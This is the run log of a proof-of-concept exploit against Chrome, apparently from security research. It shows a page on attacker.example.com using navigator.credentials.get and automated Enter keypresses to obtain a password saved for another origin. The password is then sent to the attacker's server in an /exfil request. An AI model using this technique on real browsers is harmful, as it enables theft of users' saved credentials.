=== 1. Setting up profile with PSL credential ===
[setup] launching chrome once to create profile at /tmp/chrome-poc-profile
[setup] inserting credential for https://login.example.com:8443/ (user=victim_user, pw_blob=35 bytes)
[setup] done.
=== 2. Starting HTTPS server + key injector ===
[run] SPKI hash: 2P2Aq6Im9aJ5OD5BuJW35mMgTRMJg5kH5noSBR4h4r8=
=== 3. Launching Chrome on attacker.example.com ===
=== 4. Result ===
--- server.log ---
[server] listening on https://0.0.0.0:8443/
[server] "GET /poc.html HTTP/1.1" 200 -
[server] /about-to-prompt at 1779923346.340 -> scheduling Enter keypresses
[server] "POST /about-to-prompt HTTP/1.1" 204 -
[server] code 404, message File not found
[server] "GET /favicon.ico HTTP/1.1" 404 -
[server] XTest Enter #0 at 1779923346.390
[server] *** EXFILTRATED CREDENTIAL: id="victim_user" password="VictimSecret123!" ***
[server] "GET /exfil?u=victim_user&p=VictimSecret123! HTTP/1.1" 204 -
[server] XTest Enter #1 at 1779923346.450
[server] XTest Enter #2 at 1779923346.511
[server] XTest Enter #3 at 1779923346.571
[server] XTest Enter #4 at 1779923346.631
[server] XTest Enter #5 at 1779923346.691
[server] XTest Enter #6 at 1779923346.751
[server] XTest Enter #7 at 1779923346.812
[server] XTest Enter #8 at 1779923346.872
[server] XTest Enter #9 at 1779923346.932
[server] XTest Enter #10 at 1779923346.992
[server] XTest Enter #11 at 1779923347.052
[server] XTest Enter #12 at 1779923347.112
[server] XTest Enter #13 at 1779923347.173
[server] XTest Enter #14 at 1779923347.233
[server] XTest Enter #15 at 1779923347.293
[server] XTest Enter #16 at 1779923347.353
[server] XTest Enter #17 at 1779923347.413
[server] XTest Enter #18 at 1779923347.474
[server] XTest Enter #19 at 1779923347.534
--- chrome console (POC lines) ---
[3669:3669:0527/230906.332473:INFO:CONSOLE:12] "[POC] origin = https://attacker.example.com:8443", source: https://attacker.example.com:8443/poc.html (12)
[3669:3669:0527/230906.337751:INFO:CONSOLE:12] "[POC] calling navigator.credentials.get({password:true}) at t=154.0ms", source: https://attacker.example.com:8443/poc.html (12)
[3669:3669:0527/230906.402663:INFO:CONSOLE:12] "[POC] RESULT at t=255.1ms: PasswordCredential id="victim_user" password="VictimSecret123!"", source: https://attacker.example.com:8443/poc.html (12)

*** SUCCESS: cross-origin password disclosed via single Enter keypress ***
[server] *** EXFILTRATED CREDENTIAL: id="victim_user" password="VictimSecret123!" ***